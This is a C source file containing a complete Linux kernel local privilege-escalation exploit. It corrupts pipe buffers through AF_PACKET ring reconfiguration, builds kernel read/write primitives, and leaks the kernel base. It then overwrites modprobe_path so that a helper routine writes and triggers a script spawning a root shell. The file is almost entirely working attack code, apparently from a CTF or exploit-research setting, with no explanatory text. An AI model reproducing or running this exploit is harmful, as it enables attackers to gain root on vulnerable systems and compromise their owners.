| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 181
 182
 183
 184
 185
 186
 187
 188
 189
 190
 191
 192
 193
 194
 195
 196
 197
 198
 199
 200
 201
 202
 203
 204
 205
 206
 207
 208
 209
 210
 211
 212
 213
 214
 215
 216
 217
 218
 219
 220
 221
 222
 223
 224
 225
 226
 227
 228
 229
 230
 231
 232
 233
 234
 235
 236
 237
 238
 239
 240
 241
 242
 243
 244
 245
 246
 247
 248
 249
 250
 251
 252
 253
 254
 255
 256
 257
 258
 259
 260
 261
 262
 263
 264
 265
 266
 267
 268
 269
 270
 271
 272
 273
 274
 275
 276
 277
 278
 279
 280
 281
 282
 283
 284
 285
 286
 287
 288
 289
 290
 291
 292
 293
 294
 295
 296
 297
 298
 299
 300
 301
 302
 303
 304
 305
 306
 307
 308
 309
 310
 311
 312
 313
 314
 315
 316
 317
 318
 319
 320
 321
 322
 323
 324
 325
 326
 327
 328
 329
 330
 331
 332
 333
 334
 335
 336
 337
 338
 339
 340
 341
 342
 343
 344
 345
 346
 347
 348
 349
 350
 351
 352
 353
 354
 355
 356
 357
 358
 359
 360
 361
 362
 363
 364
 365
 366
 367
 368
 369
 370
 371
 372
 373
 374
 375
 376
 377
 378
 
 | #define _GNU_SOURCE#include "exploit.h"
 #include <assert.h>
 #include <fcntl.h>
 #include <linux/if_packet.h>
 #include <sched.h>
 #include <stdbool.h>
 #include <stdint.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/eventfd.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <unistd.h>
 
 int fpair[2];
 
 static void setup_sandbox() {
 unshare(CLONE_NEWNET | CLONE_NEWUSER);
 cpu_set_t set;
 CPU_ZERO(&set);
 CPU_SET(0, &set);
 CHECK(sched_setaffinity(getpid(), sizeof(set), &set) < 0);
 }
 
 static void close_prev_fds() {
 for (int i = 3; i < 0x9000; ++i) {
 if (i != fpair[1])
 close(i);
 }
 }
 
 static void setpipe_sz(struct pipe_rw *p, unsigned int size) {
 CHECK(fcntl(p->w, F_SETPIPE_SZ, size));
 }
 
 struct pipe_rw *alloc_pipes(exploit_ctx *ctx, int n, bool init_pipes) {
 int fd_pair[2];
 struct pipe_rw *pipes;
 
 ctx->pipe_data = ctx->pipe_data ? ctx->pipe_data : calloc(1, 0x5000);
 pipes = calloc(n, sizeof(*pipes));
 
 for (int i = 0; i < n; ++i) {
 CHECK(pipe(fd_pair));
 pipes[i].r = fd_pair[0];
 pipes[i].w = fd_pair[1];
 setpipe_sz(&pipes[i], pipesz(256));
 }
 
 if (!init_pipes)
 goto pipe_alloc_ret;
 
 for (int i = 0; i < n; ++i) {
 if (i < (n - 0x30)) {
 CHECK(write(pipes[i].w, ctx->pipe_data, 0x2002));
 }
 CHECK(write(pipes[i].w, ctx->pipe_data, 2));
 }
 
 pipe_alloc_ret:
 return pipes;
 }
 
 static void release_pipe(struct pipe_rw *p) {
 close(p->r);
 close(p->w);
 }
 
 static int fionread(int fd) {
 int len = -1;
 while (ioctl(fd, FIONREAD, &len) < 0)
 usleep(1000);
 return len;
 }
 
 static void release_dup_page(exploit_ctx *ctx, struct pipe_rw *p,
 struct pipe_rw *q) {
 char tmp[0x100];
 setpipe_sz(q, pipesz(256));
 read(p->r, tmp, 0x100 - 8);
 ctx->corrupt = q;
 }
 
 static void eventfd_reclaim(exploit_ctx *ctx) {
 for (int i = 0; i < NUM_EVFD; ++i)
 ctx->evfds[i] = CHECK(eventfd(0x13370000 + i, 0));
 CHECK(read(ctx->corrupt->r, ctx->pipe_data, 0x1000));
 CHECK_V(read(ctx->corrupt->r, ctx->pipe_data, 0x78), 0x78);
 
 if ((ctx->pipe_data_qw[2] >> 0x10) != 0x1337) {
 puts("[-] Exploit Failed. Retrying...");
 int pid = fork();
 if (!pid) {
 exploit();
 exit(0);
 }
 wait(NULL);
 exit(0);
 }
 
 ctx->eventfd_idx = ctx->pipe_data_qw[2] - 0x13370000;
 ctx->page_addr = ctx->pipe_data_qw[1] - 0x8LL;
 ctx->page_offset = ctx->page_addr & ~(0x3fffffff);
 printf("[+] Page addr: %#lx\n", ctx->page_addr);
 printf("[+] Page offset: %#lx\n", ctx->page_offset);
 }
 
 static void realloc_page(exploit_ctx *ctx) {
 ctx->pipes = alloc_pipes(ctx, 160, false);
 
 for (int i = 0; i < 32; ++i)
 close(ctx->evfds[ctx->eventfd_idx + i]);
 for (int i = 0; i < 160; ++i)
 setpipe_sz(&ctx->pipes[i], 0x1000);
 for (int i = 0; i < 160; ++i)
 write(ctx->pipes[i].w, ctx->pipe_data, 3);
 
 CHECK_V(read(ctx->corrupt->r, ctx->pipe_data, 0x78), 0x78);
 
 ctx->pbuf_ops = ctx->pbuf->ops;
 ctx->tmp_page = ctx->pbuf->page;
 ctx->vmemmap_base = (ctx->pbuf->page & ~(0xfffffffULL));
 ctx->kbase = ctx->pbuf_ops - PBUF_OPS_OFF;
 
 printf("[+] Anon pipe buf ops: %#lx\n", ctx->pbuf_ops);
 printf("[+] Kbase: %#lx\n", ctx->kbase);
 printf("[+] Temporary page from pipe buffer: %#lx\n", ctx->tmp_page);
 printf("[+] VMEMMAP base: %#lx\n", ctx->vmemmap_base);
 }
 
 uint64_t virt_to_phys(exploit_ctx *ctx, unsigned long x) {
 unsigned long y = x - __START_KERNEL_map;
 assert(x < y);
 
 return x - ctx->page_offset;
 }
 
 #define __pfn_to_page(pfn) (ctx->vmemmap_base + (pfn))
 
 static struct pipe_rw *find_pipe_sz(exploit_ctx *ctx, size_t len) {
 for (int i = 0; i < 160; ++i)
 if (fionread(ctx->pipes[i].r) == len)
 return &ctx->pipes[i];
 assert(0);
 }
 
 static void setup_rw(exploit_ctx *ctx) {
 struct pipe_buffer *corrupting_buf = calloc(2, 0x40);
 struct pipe_buffer *corrupt_buf =
 (struct pipe_buffer *)((char *)corrupting_buf + 0x40);
 
 corrupting_buf->page =
 __pfn_to_page((virt_to_phys(ctx, ctx->page_addr) >> 12) * 0x40);
 
 corrupting_buf->ops = ctx->pbuf_ops;
 corrupting_buf->offset = 0x100;
 
 write(ctx->corrupt->w, corrupting_buf, 0x40);
 struct pipe_rw *corrupting_pipe = find_pipe_sz(ctx, corrupting_buf->len);
 
 corrupt_buf->page = ctx->tmp_page;
 corrupt_buf->len = 0xbad;
 corrupt_buf->ops = ctx->pbuf_ops;
 
 corrupting_buf->len = -0x80;
 
 CHECK_V(write(corrupting_pipe->w, (void *)corrupting_buf, 0x80), 0x80);
 struct pipe_rw *corrupt_pipe = find_pipe_sz(ctx, corrupt_buf->len);
 
 ctx->corrupt = corrupt_pipe;
 ctx->corrupt_buf = corrupt_buf;
 ctx->corrupting = corrupting_pipe;
 ctx->corrupting_buf = corrupting_buf;
 }
 
 static void kread(exploit_ctx *ctx, uint64_t kaddr, char *uaddr,
 unsigned int len, enum ktype kreg) {
 
 kaddr = (kreg == KHEAP)
 ? kaddr
 : (ctx->page_offset + ctx->kvoff + kaddr - ctx->kbase);
 ctx->corrupt_buf->page =
 __pfn_to_page((virt_to_phys(ctx, kaddr) >> 12) * 0x40);
 ctx->corrupt_buf->offset = (unsigned int)(kaddr & 0xfffLL);
 ctx->corrupt_buf->len = 0x1000 - ctx->corrupt_buf->offset;
 
 CHECK_V(write(ctx->corrupting->w, (void *)ctx->corrupting_buf, 0x80), 0x80);
 CHECK_V(read(ctx->corrupt->r, uaddr, len), len);
 }
 
 static void kwrite(exploit_ctx *ctx, uint64_t kaddr, char *uaddr,
 unsigned int len, enum ktype kreg) {
 kaddr = (kreg == KHEAP)
 ? kaddr
 : (ctx->page_offset + ctx->kvoff + kaddr - ctx->kbase);
 ctx->corrupt_buf->page =
 __pfn_to_page((virt_to_phys(ctx, kaddr) >> 12) * 0x40);
 ctx->corrupt_buf->offset = 0;
 ctx->corrupt_buf->len = (unsigned int)(kaddr & 0xfffLL);
 
 CHECK_V(write(ctx->corrupting->w, (void *)ctx->corrupting_buf, 0x80), 0x80);
 CHECK_V(write(ctx->corrupt->w, uaddr, len), len);
 }
 
 static void find_kvoff(exploit_ctx *ctx) {
 uint64_t startup_qw = 0;
 while (1) {
 kread(ctx, ctx->page_offset + ctx->kvoff, (char *)&startup_qw, 8, KHEAP);
 if (startup_qw != STARTUP_QW) {
 ctx->kvoff += 0x10000;
 continue;
 }
 break;
 }
 printf("[+] Kvoff: %#lx\n", ctx->kvoff);
 }
 
 static void exploit() {
 int fd;
 exploit_ctx *ctx;
 struct pipe_rw *pipes, *pipes2;
 
 setup_sandbox();
 close_prev_fds();
 
 fd = CHECK(socket(AF_PACKET, SOCK_RAW, 0));
 ctx = calloc(1, sizeof(*ctx));
 
 
 
 
 
 
 
 
 
 
 pipes = alloc_pipes(ctx, NUM_PIPES, true);
 
 
 CHECK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3},
 sizeof(int)));
 
 
 union tpacket_req_u treq = {};
 treq.req3.tp_block_size = 0x1000;
 treq.req3.tp_block_nr = 0x410 / 8;
 treq.req3.tp_frame_size = 0x1000;
 treq.req3.tp_frame_nr = 0x410 / 8;
 CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq)));
 
 
 
 
 
 
 pipes2 = alloc_pipes(ctx, 0x90, false);
 for (int i = 0; i < 0x90; ++i)
 setpipe_sz(&pipes2[i], pipesz(2048));
 
 
 
 
 
 for (int i = 0; i < 0x90; ++i)
 if (i & 4)
 release_pipe(&pipes2[i]);
 
 
 memset(&treq, 0, sizeof(treq));
 CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq)));
 
 
 for (int i = 0; i < NUM_PIPES - 0x30; ++i)
 setpipe_sz(&pipes[i], pipesz(2048));
 
 
 
 
 
 
 for (int i = 0; i < NUM_PIPES - 0x30; ++i)
 CHECK_V(read(pipes[i].r, ctx->pipe_data, 0x1000), 0x1000);
 
 
 CHECK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2},
 sizeof(int)));
 
 
 
 
 
 treq.req3.tp_block_size = 0x1000;
 treq.req3.tp_block_nr = 1;
 treq.req3.tp_frame_size = 0x1000;
 treq.req3.tp_frame_nr = 1;
 CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq)));
 
 
 for (int i = NUM_PIPES - 0x30; i < NUM_PIPES; ++i)
 setpipe_sz(&pipes[i], pipesz(2048));
 
 memset(ctx->pipe_data, 0, 0x1000);
 for (int i = NUM_PIPES - 0x30; i < NUM_PIPES; ++i) {
 CHECK(write(pipes[i].w, ctx->pipe_data, 0x1000 - 2));
 CHECK(write(pipes[i].w, ctx->pipe_data, 0x100));
 ctx->pipe_data[0]++;
 }
 
 uint64_t corrupt_pipe_idx;
 size_t len;
 
 
 for (int i = 0; i < NUM_PIPES - 0x30; ++i) {
 len = fionread(pipes[i].r);
 if (len != 0x1004) {
 CHECK(read(pipes[i].r, &corrupt_pipe_idx, 8));
 ctx->corrupt = &pipes[i];
 break;
 }
 }
 
 corrupt_pipe_idx += NUM_PIPES - 0x30;
 
 
 for (int i = 0; i < 0x90; ++i)
 if (!(i & 4))
 release_pipe(&pipes2[i]);
 
 for (int i = 0; i < NUM_PIPES; ++i) {
 if (ctx->corrupt == &pipes[i] || corrupt_pipe_idx == i)
 continue;
 release_pipe(&pipes[i]);
 }
 
 
 
 release_dup_page(ctx, ctx->corrupt, &pipes[corrupt_pipe_idx]);
 
 eventfd_reclaim(ctx);
 realloc_page(ctx);
 
 setup_rw(ctx);
 find_kvoff(ctx);
 kwrite(ctx, ctx->kbase + MODPROBE_OFF, "/tmp/x", 7, KIMG);
 
 CHECK(write(fpair[1], "a", 1));
 while (1)
 sleep(0x1000000);
 }
 
 void modprobe_to_root() {
 system("echo '#!/bin/sh' > /tmp/x; echo 'setsid cttyhack setuidgid 0 "
 "/bin/sh' >> /tmp/x");
 system("chmod +x /tmp/x");
 system("echo -ne '\xff\xff\xff\xff' > /tmp/trigger && chmod 777 "
 "/tmp/trigger && /tmp/trigger");
 system("sh");
 }
 
 int main(void) {
 int pid;
 char tmp;
 
 CHECK(pipe(fpair));
 pid = fork();
 if (!pid) {
 exploit();
 exit(0);
 }
 
 read(fpair[0], &tmp, 1);
 modprobe_to_root();
 }
 
 |